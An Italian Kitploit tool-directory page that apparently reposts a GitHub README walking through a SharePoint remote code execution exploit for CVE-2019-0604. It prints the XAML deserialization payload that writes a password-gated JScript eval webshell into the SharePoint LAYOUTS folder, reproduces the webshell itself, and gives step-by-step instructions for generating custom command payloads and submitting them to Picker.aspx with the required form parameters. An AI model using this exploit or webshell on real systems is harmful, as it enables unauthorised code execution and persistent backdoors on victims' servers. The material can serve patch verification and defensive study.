Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2019-0604 — Spiegazione dettagliata del codice di k8gege per l'exploit RCE di SharePoint cve-2019-0604-exp.py, crea il tuo payload personalizzato. | Kitploit
Strumenti/GitHubGitHub/boxhg/cve-2019-0604
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed Teaming
GitHubboxhg/cve-2019-0604

CVE-2019-0604

Spiegazione dettagliata del codice di k8gege per l'exploit RCE di SharePoint cve-2019-0604-exp.py, crea il tuo payload personalizzato.

Vedi Repository
3065 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Image Pyaload Maker

1. Spiegazione di cve-2019-0604-exp.py di k8gege

Script di k8gege https://github.com/k8gege/CVE-2019-0604

Francamente, lo script Python di k8gege è un po' appariscente, un mucchio di stringhe esadecimali divise in payload1,2,3, che birbone!

Il payload inviato tramite POST remoto dallo script Python, dopo la deserializzazione è un corpo dati XML

root@kitploit:~
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}" MethodName="Start">
    <ObjectDataProvider.MethodParameters>
		<System:String>cmd</System:String>
		<System:String>/c echo ^&lt;%@ Page Language="Jscript" %^>^&lt;%var pwd="tom";var uastr=Request.UserAgent;if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) {var code=uastr.Replace(pwd+"===","");eval(code,"unsafe"); };%^> > "%CommonProgramFiles%\\Microsoft Shared\\Web Server Extensions\\15\\TEMPLATE\\LAYOUTS\\ua.aspx" </System:String>
    </ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>

Image Pyaload Maker

Cioè esegue un comando echo in remoto, scrivendo un file up.aspx nella directory layouts dei modelli di SharePoint sul server

root@kitploit:~
cmd /c echo ^&lt;%@ Page Language="Jscript" %^>^&lt;%var pwd="tom";var uastr=Request.UserAgent;if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) {var code=uastr.Replace(pwd+"===","");eval(code,"unsafe"); };%^> > "%CommonProgramFiles%\\Microsoft Shared\\Web Server Extensions\\15\\TEMPLATE\\LAYOUTS\\ua.aspx" 

Ha generato un file webshell K8飞刀专用UA一句话木马.asxp, OK, shell ottenuto

root@kitploit:~
<%@ Page Language="Jscript" %>
<%
var pwd="tom";
var uastr=Request.UserAgent;
if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) 
{
    var code=uastr.Replace(pwd+"===","");
    eval(code,"unsafe"); 
};
%>

2. Creare il proprio payload

Se vuoi creare un tuo payload per eseguire comandi in remoto, segui questi passi:

  1. Scarica il programma già compilato da https://github.com/boxhg/CVE-2019-0604/releases, estrai ed esegui CVE20190604Forms.exe

  2. Nella casella di testo Cmd inserisci il comando, clicca sul pulsante "Update XML", unirà il comando in XML

  3. Clicca su "EncodeEntity", il programma serializza la stringa XML in un oggetto e attiva l'esecuzione del payload; la stringa serializzata viene visualizzata nella casella di testo "payload"

root@kitploit:~
__cp087135009700370047005600d600e2004400160047001600e20035005600270067009600360056003700e2009400e600470056002700e6001600c600e2005400870007001600e60046005600460075002700160......
  1. Queste stringhe "__cp...." sono il payload; copia in cve-2019-0604-exp.py, modifica e sostituisci il payload originale di k8gege

  2. Quando si invia il payload a Picker.aspx, sono necessari altri parametri aggiuntivi; è possibile ottenere i parametri correlati tramite lo strumento proxy Burp, quindi passare il valore del payload a ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData

root@kitploit:~
...

values = {
    '__REQUESTDIGEST':YOUR_REQUESTDIGEST,
    '__EVENTTARGET':'',
    '__EVENTARGUMENT':'',
    '__spPickerHasReturnValue':'',
    '__spPickerReturnValueHolder':'',
    '__VIEWSTATE':YOUR_VIEWSTATE,
    '__VIEWSTATEGENERATOR':'',
    'ctl00$PlaceHolderDialogBodySection$ctl07$queryTextBox':'',
    'ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData':**YOUR_PayloadData**,
    'ctl00$PlaceHolderDialogBodySection$ctl05$OriginalEntities':'<Entities />',
    'ctl00$PlaceHolderDialogBodySection$ctl05$HiddenEntityKey':'',
    'ctl00$PlaceHolderDialogBodySection$ctl05$HiddenEntityDisplayText':'',
    'ctl00$PlaceHolderDialogBodySection$ctl05$downlevelTextBox':'&#160;',
    '__CALLBACKID':'ctl00$PlaceHolderDialogBodySection$ctl07',
    '__CALLBACKPARAM':';#;#11;#;#;#',
    '__EVENTVALIDATION':YOUR_EVENTVALIDATION
}

data = urllib.urlencode(values)

...
  1. Esegui lo script py, buona fortuna!!!

Si consiglia di utilizzare Burp per inviare il payload, è più comodo

Riferimenti CVE-2019-0604:

https://www.thezdi.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability

https://github.com/linhlhq/CVE-2019-0604

https://github.com/k8gege/K8CScan/wiki/%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-CVE-2019-0604-SharePoint-GetShell-Exploit

https://github.com/k8gege/CVE-2019-0604

Scarica lo strumento